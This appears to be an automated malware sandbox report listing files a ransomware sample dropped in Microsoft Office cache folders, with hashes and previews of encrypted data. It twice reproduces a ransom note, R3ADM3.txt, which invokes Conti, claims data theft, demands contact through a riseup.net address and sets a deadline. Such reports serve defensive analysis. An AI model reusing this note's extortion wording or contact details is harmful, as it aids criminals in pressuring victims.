SHA1:18F1027D4DB529074B3DD719A0D1DABB06EC5CD1
SHA-256:A6AB0BCC1759ADD40BDBA614236D5C144BB2961D176FC56945EA10E0807B203F
SHA-512:972FBFC3DE9F6A81EF652929E32DFDA23A467752FC38232C5886BD05E5F8726F43079FC5A271FACC316EED0971E58CCC1DD0E06640E9711FCCBD16FB53BE3CAC
Malicious:false
Preview:.Y.]f..;.#.8..8.0~..z...Y..fM.^..U......b...k......#.5..7.F.'......2 .QA..T .n......Zh>4n#..J.>._...b.4.g=......SO..v..[..^.).......f.M...k.?..sS..8_!n..i.Ro....(.,A=...D.v.~ ..|V...".z.....U..XK..t..&{.q.....Z..3._.2..E,.......4.......3.m.I#.n?..Y.U=0+....h.....<.P...*.6c....B.M}$-....XK.s..P.....u]%...|..6........~...*......G...;@...?..kJ$JJ.&.V....+.!.D.xQa|x...Z..&..l,.I...".~...tQ&.~...N7.`0.L=bL.B$.s.9"..FI.'..W.r...3'.I.....s...}.i,...@.+.!....~.5(...Fhg.YzM...".ns.C.\....H~o.^@X...{.S...u.H..x...^.>.......R7r.CV*p......4........"^..J.:...3...j$&.O..|X.].........B.v.CLog...pk.....F.s?."...b...P.&..Lx...^.....i.....= |....y...a....#...%*.c^.^...J`.......sE.".}..&..-...(....2m.w.s."..:[.9..7.F..H..U.(..uk..y.....+....a|\..%(.lR......aZ.....2..0'.0.q...!7d.n;..gf=y.O..J...M.."..W.4.oY&.r..n....S..|...Q..ur..-\...p.sr.cx...K.}.wm.N4!.#+.^._W._....8"...[..I....fb......./nk%...Qe..7y..s+]V6.....}..j.u.C..w..4.8.m.}Gp.2C.f.vF...O...w.=

C:\MSOCache\All Users\{90160000-00A1-0409-0000-0000000FF1CE}-C\OneNoteMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2351
Entropy (8bit):7.9010019667958415
Encrypted:false
SSDEEP:
MD5:CEB3EFB51911FC07CB86D9062DF9FDE9
SHA1:18F1027D4DB529074B3DD719A0D1DABB06EC5CD1
SHA-256:A6AB0BCC1759ADD40BDBA614236D5C144BB2961D176FC56945EA10E0807B203F
SHA-512:972FBFC3DE9F6A81EF652929E32DFDA23A467752FC38232C5886BD05E5F8726F43079FC5A271FACC316EED0971E58CCC1DD0E06640E9711FCCBD16FB53BE3CAC
Malicious:false
Preview:.Y.]f..;.#.8..8.0~..z...Y..fM.^..U......b...k......#.5..7.F.'......2 .QA..T .n......Zh>4n#..J.>._...b.4.g=......SO..v..[..^.).......f.M...k.?..sS..8_!n..i.Ro....(.,A=...D.v.~ ..|V...".z.....U..XK..t..&{.q.....Z..3._.2..E,.......4.......3.m.I#.n?..Y.U=0+....h.....<.P...*.6c....B.M}$-....XK.s..P.....u]%...|..6........~...*......G...;@...?..kJ$JJ.&.V....+.!.D.xQa|x...Z..&..l,.I...".~...tQ&.~...N7.`0.L=bL.B$.s.9"..FI.'..W.r...3'.I.....s...}.i,...@.+.!....~.5(...Fhg.YzM...".ns.C.\....H~o.^@X...{.S...u.H..x...^.>.......R7r.CV*p......4........"^..J.:...3...j$&.O..|X.].........B.v.CLog...pk.....F.s?."...b...P.&..Lx...^.....i.....= |....y...a....#...%*.c^.^...J`.......sE.".}..&..-...(....2m.w.s."..:[.9..7.F..H..U.(..uk..y.....+....a|\..%(.lR......aZ.....2..0'.0.q...!7d.n;..gf=y.O..J...M.."..W.4.oY&.r..n....S..|...Q..ur..-\...p.sr.cx...K.}.wm.N4!.#+.^._W._....8"...[..I....fb......./nk%...Qe..7y..s+]V6.....}..j.u.C..w..4.8.m.}Gp.2C.f.vF...O...w.=

C:\MSOCache\All Users\{90160000-00A1-0409-0000-0000000FF1CE}-C\OnoteLR.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):13355306
Entropy (8bit):7.999924814406783
Encrypted:true
SSDEEP:
MD5:A8E73ECAC60EB1DA614DFD2D627943FE
SHA1:AC6A6361D27D7ADD260FFE43690CB3FD01F63138
SHA-256:4250DAF835338C696D877DCDE8D04267DF2B8158AAF2ECF8CCD912D52C2D3B6E
SHA-512:F8D8D8E57F0D7A5ECCAFD639984FB93DF37584D9DD4BC811DB88DA8F5C45258E22547BD44B787AAFFA00B7C4AD8488C3D3CA195B41CA9539A125226609543965
Malicious:true
Preview:J..QKjIg..V9N.k>....z....<.R..A...o.s..2}.m.\.}.f.3..{;.....d.....7Y].kG.)4.........A..b.....c.)...L.~.....O_...(.q6...b.p.0.W.. . ......]i....@....8.............~.^...vD.(&..g.A.<E...M.m.e\......t...e..hDb0.......t.M..fn..J..k.o.d.2~.6.....x..\..K.....:..gk.[.Uhx......QH..M...F}.a..z..G..X.+?...e..,.._1(DE.u!..hUyl..D....*....].l.>..}.8......^|h..W.l.....R.3....x.....R..=.(5..1.....O...7..X.])p.i..x..l%\..cac.....wWC..2#..i.p%Jpx.T.j>.......o.i!...09..e\.TI6Lgo.^...Q..F....,...&.5....i>R..$.B ......I..M...%.-C}...%.(.{......a}9{b.is.7..q.Z|...b.B..a1..>A.+......g.rR^.?..pN{]...E3.qm.m.?........-.s0<.rr?9>.....\..62.:M.g2\Oy..t.0P)..U.....]..@.MQ....e.Q.G.'6...z.{.....S..K......|#....V....D`bp..G..9S:..............Q.sk....+(....h.:0...\...=..Z..........4..L..s.....x.f....Y..>8.oV.]J5l..F.to.....;.u{6.n.&.51,70.n.Z!)..n.y..m.5Z.r.3b..F.E...u.Jk.FW.^{........6.#.L......CTQ...'RW..u..r.W.+.h..y.^C..)%......O..dR.gi<C...>..|.....Z..O

C:\MSOCache\All Users\{90160000-00A1-0409-0000-0000000FF1CE}-C\OnoteLR.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):13355306
Entropy (8bit):7.999924814406783
Encrypted:true
SSDEEP:
MD5:A8E73ECAC60EB1DA614DFD2D627943FE
SHA1:AC6A6361D27D7ADD260FFE43690CB3FD01F63138
SHA-256:4250DAF835338C696D877DCDE8D04267DF2B8158AAF2ECF8CCD912D52C2D3B6E
SHA-512:F8D8D8E57F0D7A5ECCAFD639984FB93DF37584D9DD4BC811DB88DA8F5C45258E22547BD44B787AAFFA00B7C4AD8488C3D3CA195B41CA9539A125226609543965
Malicious:true
Preview:J..QKjIg..V9N.k>....z....<.R..A...o.s..2}.m.\.}.f.3..{;.....d.....7Y].kG.)4.........A..b.....c.)...L.~.....O_...(.q6...b.p.0.W.. . ......]i....@....8.............~.^...vD.(&..g.A.<E...M.m.e\......t...e..hDb0.......t.M..fn..J..k.o.d.2~.6.....x..\..K.....:..gk.[.Uhx......QH..M...F}.a..z..G..X.+?...e..,.._1(DE.u!..hUyl..D....*....].l.>..}.8......^|h..W.l.....R.3....x.....R..=.(5..1.....O...7..X.])p.i..x..l%\..cac.....wWC..2#..i.p%Jpx.T.j>.......o.i!...09..e\.TI6Lgo.^...Q..F....,...&.5....i>R..$.B ......I..M...%.-C}...%.(.{......a}9{b.is.7..q.Z|...b.B..a1..>A.+......g.rR^.?..pN{]...E3.qm.m.?........-.s0<.rr?9>.....\..62.:M.g2\Oy..t.0P)..U.....]..@.MQ....e.Q.G.'6...z.{.....S..K......|#....V....D`bp..G..9S:..............Q.sk....+(....h.:0...\...=..Z..........4..L..s.....x.f....Y..>8.oV.]J5l..F.to.....;.u{6.n.&.51,70.n.Z!)..n.y..m.5Z.r.3b..F.E...u.Jk.FW.^{........6.#.L......CTQ...'RW..u..r.W.+.h..y.^C..)%......O..dR.gi<C...>..|.....Z..O

C:\MSOCache\All Users\{90160000-00A1-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-00A1-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2709
Entropy (8bit):7.923958505514895
Encrypted:false
SSDEEP:
MD5:21EC158FF4B21C5C47C58ACE0C54B0DB
SHA1:3A67055C625D231EAADCA53D30DE635D88CBC9C2
SHA-256:A5C412FF54D60A0D3C45804C8A281B221CC7A8F0A792A16C35D758808FB22D9C
SHA-512:7F447D9818505E113AD92C2A2276FD6DBF25B27DE8316BBD14CF7EFCDA22CA74EB1462B1336D95BB38669584677C5D4F7C96A740EE98B7D3C7AA7EB229EE9E1F
Malicious:false
Preview:....D...w....+.]D..F.....X..v..o....nk.w...#..{...S.........4.A......S.{.>...l..7...1.u.i...b#q.%..-........w{<....C....Zv.zi....@...e...u.......F.C.m.q.J./......m....W..Q..6...<.l....$....L....".s.*..u.B.......w.9...-.q..j.Q.J.D_...>..,K......i].T.~:C.7.)....1a./&..[.>.j....f6..h.(..{..F._.'z...&e.M.YS.W.r.z.B..s.b........E,....j~.j......'.k..f..._\.l.C.zm....T"7.X.L1.&.:6mU..;...5/=z.O.n..6O].t...._..e.oBQ.l&.b...9...ae....Uu...{....P(.7Q...f.9.......yh..8.M.....31.)...L.ai..F1.u^....7.p...8.+.^.......%K.,G`...?%.D.9.w:....v#.%.P.`).mw.+'.~.7..-.l.U.|....l.F..L.J.%j.fM.H....P&.@.n.*~.....<..n.+..[.W.Y]...r.#....%t<.....Q..G.L.Tc^.]e....0.v.o..^f=...g.5...Q.......6..,X.Mp..u...@!cn.@J....1.ytL.\....Bf..gY.7.......2{..R..*.p..T.4Had..5(.^.4.......5.F.]..F.9....@..C.y.anfB...&t.Yi..8.. .:.X3..q.....3....ym........dG+<...ze.....0.ws~..Qu........<..Ki...W.BA._';..Z.?..Gv..+.%..w..E...Lc.p..Z....g.%..?S(.>....%...4..]...(.\...,.

C:\MSOCache\All Users\{90160000-00A1-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2709
Entropy (8bit):7.923958505514895
Encrypted:false
SSDEEP:
MD5:21EC158FF4B21C5C47C58ACE0C54B0DB
SHA1:3A67055C625D231EAADCA53D30DE635D88CBC9C2
SHA-256:A5C412FF54D60A0D3C45804C8A281B221CC7A8F0A792A16C35D758808FB22D9C
SHA-512:7F447D9818505E113AD92C2A2276FD6DBF25B27DE8316BBD14CF7EFCDA22CA74EB1462B1336D95BB38669584677C5D4F7C96A740EE98B7D3C7AA7EB229EE9E1F
Malicious:false
Preview:....D...w....+.]D..F.....X..v..o....nk.w...#..{...S.........4.A......S.{.>...l..7...1.u.i...b#q.%..-........w{<....C....Zv.zi....@...e...u.......F.C.m.q.J./......m....W..Q..6...<.l....$....L....".s.*..u.B.......w.9...-.q..j.Q.J.D_...>..,K......i].T.~:C.7.)....1a./&..[.>.j....f6..h.(..{..F._.'z...&e.M.YS.W.r.z.B..s.b........E,....j~.j......'.k..f..._\.l.C.zm....T"7.X.L1.&.:6mU..;...5/=z.O.n..6O].t...._..e.oBQ.l&.b...9...ae....Uu...{....P(.7Q...f.9.......yh..8.M.....31.)...L.ai..F1.u^....7.p...8.+.^.......%K.,G`...?%.D.9.w:....v#.%.P.`).mw.+'.~.7..-.l.U.|....l.F..L.J.%j.fM.H....P&.@.n.*~.....<..n.+..[.W.Y]...r.#....%t<.....Q..G.L.Tc^.]e....0.v.o..^f=...g.5...Q.......6..,X.Mp..u...@!cn.@J....1.ytL.\....Bf..gY.7.......2{..R..*.p..T.4Had..5(.^.4.......5.F.]..F.9....@..C.y.anfB...&t.Yi..8.. .:.X3..q.....3....ym........dG+<...ze.....0.ws~..Qu........<..Ki...W.BA._';..Z.?..Gv..+.%..w..E...Lc.p..Z....g.%..?S(.>....%...4..]...(.\...,.

C:\MSOCache\All Users\{90160000-00BA-0409-0000-0000000FF1CE}-C\GrooveLR.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):873496
Entropy (8bit):7.999794902917263
Encrypted:true
SSDEEP:
MD5:CD9A000352F8A3162F1F3D7F82103B22
SHA1:E35FFE7C4C784FD009C349C296698423F3476674
SHA-256:117F2CF2F4D50E1B1E730A9A8F066A681227D4BC7273ED668D1A2C03E608C0BE
SHA-512:AFC03EBD328745C2E16130B8B6493B659FBC4654404E85FF59F2A0C808F5180BF6B660CDC3BEE5CE90DC3EB422C7C89EF475972316D50B8E74FFA9C5BAB54B67
Malicious:true
Preview:P..q....E...w%.A....^..s*...n|..kw>.1W5...4...S6..G...7'.[...!eo.*.$i..}.7...yae..K.I.<.w..Z....F#...........F.!4.@.@D........$j9...r.p?...]........Lfr.m....E\A.3.6.`6....~...a..S.or.A...T....oJ.b.S.kLd..k.....hV..P. I.e..t....]q{h...).....=.m..D......D.ZZ1H".).\..u.....8Z.<=..&..FFI{......9..W.7 ?8.7..J.\OM......).H....9...\.S1.E.......nd....m..F...l....y.R.m....E.4K...o.4.......cA.....MA..[..?ld..?.&..(v>.L.b...*.R.r'..4}..w..#M`Y"v..K.....}.4..<s.M.*...HT....q.;.X...E..$......K..}Q.%o\n..~.."..s).r..c...(.&..r...7RS._$..d.[.D2.a..:.J#.q..umF.U.5...Ys....cp. [.~..(.3......?.R.....2....}b.C~.e.."j&.... oR....b..uF.\..:.m...........&..~s..H.z.6J...8.a>.\8.*.Kn..$X.5..=.o.P..........gY..A#.^.,..........LG.f.K...i/...6..G1......,7....:L..&+.j...CBc...........~u.Ct...L...L3.B..p....XR...z%..y..C...3....2.V.,'.*.~N.t.$n...D*nYJ>....}H....y...f.t.E9.}...2.\....@.`.qu......&#b.1m..%S...c.k...>b.}.u.......b.......?!.N..N._.......P..7...VD

C:\MSOCache\All Users\{90160000-00BA-0409-0000-0000000FF1CE}-C\GrooveLR.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):873496
Entropy (8bit):7.999794902917263
Encrypted:true
SSDEEP:
MD5:CD9A000352F8A3162F1F3D7F82103B22
SHA1:E35FFE7C4C784FD009C349C296698423F3476674
SHA-256:117F2CF2F4D50E1B1E730A9A8F066A681227D4BC7273ED668D1A2C03E608C0BE
SHA-512:AFC03EBD328745C2E16130B8B6493B659FBC4654404E85FF59F2A0C808F5180BF6B660CDC3BEE5CE90DC3EB422C7C89EF475972316D50B8E74FFA9C5BAB54B67
Malicious:true
Preview:P..q....E...w%.A....^..s*...n|..kw>.1W5...4...S6..G...7'.[...!eo.*.$i..}.7...yae..K.I.<.w..Z....F#...........F.!4.@.@D........$j9...r.p?...]........Lfr.m....E\A.3.6.`6....~...a..S.or.A...T....oJ.b.S.kLd..k.....hV..P. I.e..t....]q{h...).....=.m..D......D.ZZ1H".).\..u.....8Z.<=..&..FFI{......9..W.7 ?8.7..J.\OM......).H....9...\.S1.E.......nd....m..F...l....y.R.m....E.4K...o.4.......cA.....MA..[..?ld..?.&..(v>.L.b...*.R.r'..4}..w..#M`Y"v..K.....}.4..<s.M.*...HT....q.;.X...E..$......K..}Q.%o\n..~.."..s).r..c...(.&..r...7RS._$..d.[.D2.a..:.J#.q..umF.U.5...Ys....cp. [.~..(.3......?.R.....2....}b.C~.e.."j&.... oR....b..uF.\..:.m...........&..~s..H.z.6J...8.a>.\8.*.Kn..$X.5..=.o.P..........gY..A#.^.,..........LG.f.K...i/...6..G1......,7....:L..&+.j...CBc...........~u.Ct...L...L3.B..p....XR...z%..y..C...3....2.V.,'.*.~N.t.$n...D*nYJ>....}H....y...f.t.E9.}...2.\....@.`.qu......&#b.1m..%S...c.k...>b.}.u.......b.......?!.N..N._.......P..7...VD

C:\MSOCache\All Users\{90160000-00BA-0409-0000-0000000FF1CE}-C\GrooveMUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1660
Entropy (8bit):7.8686410396141095
Encrypted:false
SSDEEP:
MD5:FFB63AFA8B56FB40483F76608306C0CE
SHA1:C000AC8898001138D6B9BFE51FD1440C7023F2EF
SHA-256:64AA93B3CFAEEADDBE4A1B007650FEAC9DDE3B1AB1736EB9D9C1F00914C0873D
SHA-512:538A8C590688E87B8AE61096436D1D92193F416E762AECB3D0D22E9555C279A979B3901BF29A15B6C79F1F39F6096677976C442CEB54FEE34F9D9568D155AF1F
Malicious:false
Preview:..s..........}.t;.!.%.P.....y).?......&.88ad)4r.u.gmJ..."p.(U`X.r..,...-j0....Hq*..`...t9.../....l......+i.....A..O..D....A....Lx..W.....r.mj%.';.=...;}.X_N.v../..l...O..r.H.J;..V4.1.2..........u....:.........G.Qk.-..b.SZ.D9L,U..c.I7^.z.z........4..5y.......2L.K...2.u...dcn.z.'4A..5....A.{..`B...[....@was.Ok.......f.......+D.*r.:..Q..5..V.3.....uoE..y.w.. 9 ..x....a2L...1...a.A..M`......x.>......%H.>..%...hV.4....du........`."...f&t..B...F..LI..A..LU.].`k4mK......|.i.....%.h....{w0H2^.cK3.%:B...V.F...S.3....o%.G...v:..cC..y....]&..OJ..1.o..[.M./.bL.`.!.h.L[.'..}.#...#^....l...')W..9...r.^.i.....RP......'.B.g.......r...m..a...^.S...Y..3y4^......|Q..'.l..P.......s.....]X.Q...N.U.}'.....a............K[b.$.!..T..6h...D3;f.#.S......O..D8..q:....K.\....<.....!\y*%}D..I...g{.T<...h..../.`.{..aG i..."....E.cp....UiH.......&A[..&&F.`T..4..l..L.oa3}....hl.&..{......H..TM...[.R....A.\.R.X.....I.NPG....V}..K.QD...y`u.......)b...?V ..!.'|.f.

C:\MSOCache\All Users\{90160000-00BA-0409-0000-0000000FF1CE}-C\GrooveMUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1660
Entropy (8bit):7.8686410396141095
Encrypted:false
SSDEEP:
MD5:FFB63AFA8B56FB40483F76608306C0CE
SHA1:C000AC8898001138D6B9BFE51FD1440C7023F2EF
SHA-256:64AA93B3CFAEEADDBE4A1B007650FEAC9DDE3B1AB1736EB9D9C1F00914C0873D
SHA-512:538A8C590688E87B8AE61096436D1D92193F416E762AECB3D0D22E9555C279A979B3901BF29A15B6C79F1F39F6096677976C442CEB54FEE34F9D9568D155AF1F
Malicious:false
Preview:..s..........}.t;.!.%.P.....y).?......&.88ad)4r.u.gmJ..."p.(U`X.r..,...-j0....Hq*..`...t9.../....l......+i.....A..O..D....A....Lx..W.....r.mj%.';.=...;}.X_N.v../..l...O..r.H.J;..V4.1.2..........u....:.........G.Qk.-..b.SZ.D9L,U..c.I7^.z.z........4..5y.......2L.K...2.u...dcn.z.'4A..5....A.{..`B...[....@was.Ok.......f.......+D.*r.:..Q..5..V.3.....uoE..y.w.. 9 ..x....a2L...1...a.A..M`......x.>......%H.>..%...hV.4....du........`."...f&t..B...F..LI..A..LU.].`k4mK......|.i.....%.h....{w0H2^.cK3.%:B...V.F...S.3....o%.G...v:..cC..y....]&..OJ..1.o..[.M./.bL.`.!.h.L[.'..}.#...#^....l...')W..9...r.^.i.....RP......'.B.g.......r...m..a...^.S...Y..3y4^......|Q..'.l..P.......s.....]X.Q...N.U.}'.....a............K[b.$.!..T..6h...D3;f.#.S......O..D8..q:....K.\....<.....!\y*%}D..I...g{.T<...h..../.`.{..aG i..."....E.cp....UiH.......&A[..&&F.`T..4..l..L.oa3}....hl.&..{......H..TM...[.R....A.\.R.X.....I.NPG....V}..K.QD...y`u.......)b...?V ..!.'|.f.

C:\MSOCache\All Users\{90160000-00BA-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-00BA-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2174
Entropy (8bit):7.890451514739381
Encrypted:false
SSDEEP:
MD5:4A8AFCFEE0DA189EE612B5EE9557D064
SHA1:EF698513E4417E0A9CFEB879795295AB59E911D1
SHA-256:2D24612A95BD16224A9362CD34696F6E32A1EFA190B1C0B1133710736F3EB84D
SHA-512:7832B9D47F6DD6381147DB392114FA560EA3A9DE8DEE630EBB818C4E6496DC5D1D755CC6D5C1041AEF4C68E37D792E3AC2EF1F1B25A8D051F60F2C351DDDFE3D
Malicious:false
Preview:..x{...........H..... ...=$..!#...X ...Vk..^.M......b.J.Ik..1.Giehh.c.Li;....um.1..[E)Wbx........5m....t.I...3.....Kt..ki,'`rz;."t.I_..o..2g'.u...u..C...-i.1...h....#Z.."..b.{,..#.+.7...3."q1g?.5.dA\9N.m..$h+.KD.~..9v.w.Tl....L..f-....m.h.^M7..8yR....S?y...~.K...y...U.l$|..bC...aQ2..ef.9...\...Ln.F...0lx.ZiI{......g.4....'.WcB. ...C;.|.+.U.-.....6...E.Mv.b.!.Y....`..0>5..d|WC....<. >.....]d.p.g...=<.)..F.i..PLh...C....7..u.B...L..G..h....A1.}..a".....F.<.$...Vb....D...d.N.V...Wa.X8..%Q...P......3.....K........L..}.2..vS.;....VC...|d<...*?.I.k.f.b..........[XE.....j..x.........j.Z..........<..D.k)|.xA)....U-.|q.L..i.}.Xvb...#...2..Gp...x.Y....U..3..s../d.q^.....J...j^.|.. ..b.@.=:.....X.....?..@.L...Ns...A-Dk'....U.....[.#y*..63.j=.@...%..Y.q..mW.v..I\...rK.j.W...:x.=..|.v.q.1C....Z}YPT.X$S=....",..>Dq.g.~...C..e6w...^...)>......~>}.r.....^..[.B....o....E}.T#c:...C.....p.......6..{Lr/.....`.....q<p.N..@\u&x..$..9YQ.3..._..,....*.a...9i.<..99.

C:\MSOCache\All Users\{90160000-00BA-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2174
Entropy (8bit):7.890451514739381
Encrypted:false
SSDEEP:
MD5:4A8AFCFEE0DA189EE612B5EE9557D064
SHA1:EF698513E4417E0A9CFEB879795295AB59E911D1
SHA-256:2D24612A95BD16224A9362CD34696F6E32A1EFA190B1C0B1133710736F3EB84D
SHA-512:7832B9D47F6DD6381147DB392114FA560EA3A9DE8DEE630EBB818C4E6496DC5D1D755CC6D5C1041AEF4C68E37D792E3AC2EF1F1B25A8D051F60F2C351DDDFE3D
Malicious:false
Preview:..x{...........H..... ...=$..!#...X ...Vk..^.M......b.J.Ik..1.Giehh.c.Li;....um.1..[E)Wbx........5m....t.I...3.....Kt..ki,'`rz;."t.I_..o..2g'.u...u..C...-i.1...h....#Z.."..b.{,..#.+.7...3."q1g?.5.dA\9N.m..$h+.KD.~..9v.w.Tl....L..f-....m.h.^M7..8yR....S?y...~.K...y...U.l$|..bC...aQ2..ef.9...\...Ln.F...0lx.ZiI{......g.4....'.WcB. ...C;.|.+.U.-.....6...E.Mv.b.!.Y....`..0>5..d|WC....<. >.....]d.p.g...=<.)..F.i..PLh...C....7..u.B...L..G..h....A1.}..a".....F.<.$...Vb....D...d.N.V...Wa.X8..%Q...P......3.....K........L..}.2..vS.;....VC...|d<...*?.I.k.f.b..........[XE.....j..x.........j.Z..........<..D.k)|.xA)....U-.|q.L..i.}.Xvb...#...2..Gp...x.Y....U..3..s../d.q^.....J...j^.|.. ..b.@.=:.....X.....?..@.L...Ns...A-Dk'....U.....[.#y*..63.j=.@...%..Y.q..mW.v..I\...rK.j.W...:x.=..|.v.q.1C....Z}YPT.X$S=....",..>Dq.g.~...C..e6w...^...)>......~>}.r.....^..[.B....o....E}.T#c:...C.....p.......6..{Lr/.....`.....q<p.N..@\u&x..$..9YQ.3..._..,....*.a...9i.<..99.

C:\MSOCache\All Users\{90160000-00E1-0409-0000-0000000FF1CE}-C\OSMMUI.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):17347
Entropy (8bit):7.988558992209177
Encrypted:false
SSDEEP:
MD5:ADA0A2ECD73B386805EC9773EF6E825F
SHA1:C1B2D627064E7976A247C3F57BE65F8DE2C847EB
SHA-256:CEBFCAB1CBAA09708515A3887CAC6E8B7D41BDFC0CDAF8A58A32AE53C9890EC5
SHA-512:24C907E8027333EBDD44A59E6175B543C8B1CB5CD103A545E4ED38F4C55490D1FE6ABF990A043B99BEEC201B0B3E2DE9058A0D45DA34EF057AC0315D0051C53A
Malicious:false
Preview:......O.F5w..<...8.I...(@.'.....F\u6.;|.L.....B.;6w ..a....F+....C.......%V..E.SQ^....9..x ..;..[.:4.d..9....05Z]..7Zi....0........q...N2...f_...*....13..S..B.X+.'vy..iX<+..`....j.1.....YU......;..R.0...C..3.2G..5........9.C?.'.v8..2y..>W.X$............_...L..*N..p?.%.l `o(...rZ..Kr4R.pPz}.....-....dd.Qm.q.Z.//n.U....M&h."...U.c.A!..`T.....D.i...dmRGM`....).!u+.[..6.Y.'.d..nn &..vMO+..QI'...'l.A.....e..,.Am.yl.GUM.v.&....l.P..l;1`......<...K.6t.vd2.B.\..EZ.8..Wp.$.5#|..p........l._...O'ux.C.lw....`y0A..Xc.b'I<....d..1. .....m.M....Z.\%...0v..m.i...........U&.K ..R=......Ui.".-....U`.3......].[...D~..5CF{..U..".$..I..g....ZS*+:d(H@....F......](l~T.{.W...lg..4tQ%.z)....T.}.P.......%a......S....p.."..v..*.V{nwd...n.>9.: ......R#.L...p..f|{.......sl....lY4....._.jo.[/....7".CX$.Qq...G.O......D.....1L..O..fs ..P..aJ....5.j.Uk?..3C.'.J.-|.$l.....K0...TsnNP.g(.hJ.B~xi..Y..?............$......x.[../,.$..u".p..;j.@...w.(.-/)...E.....4.......

C:\MSOCache\All Users\{90160000-00E1-0409-0000-0000000FF1CE}-C\OSMMUI.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):17347
Entropy (8bit):7.988558992209177
Encrypted:false
SSDEEP:
MD5:ADA0A2ECD73B386805EC9773EF6E825F
SHA1:C1B2D627064E7976A247C3F57BE65F8DE2C847EB
SHA-256:CEBFCAB1CBAA09708515A3887CAC6E8B7D41BDFC0CDAF8A58A32AE53C9890EC5
SHA-512:24C907E8027333EBDD44A59E6175B543C8B1CB5CD103A545E4ED38F4C55490D1FE6ABF990A043B99BEEC201B0B3E2DE9058A0D45DA34EF057AC0315D0051C53A
Malicious:false
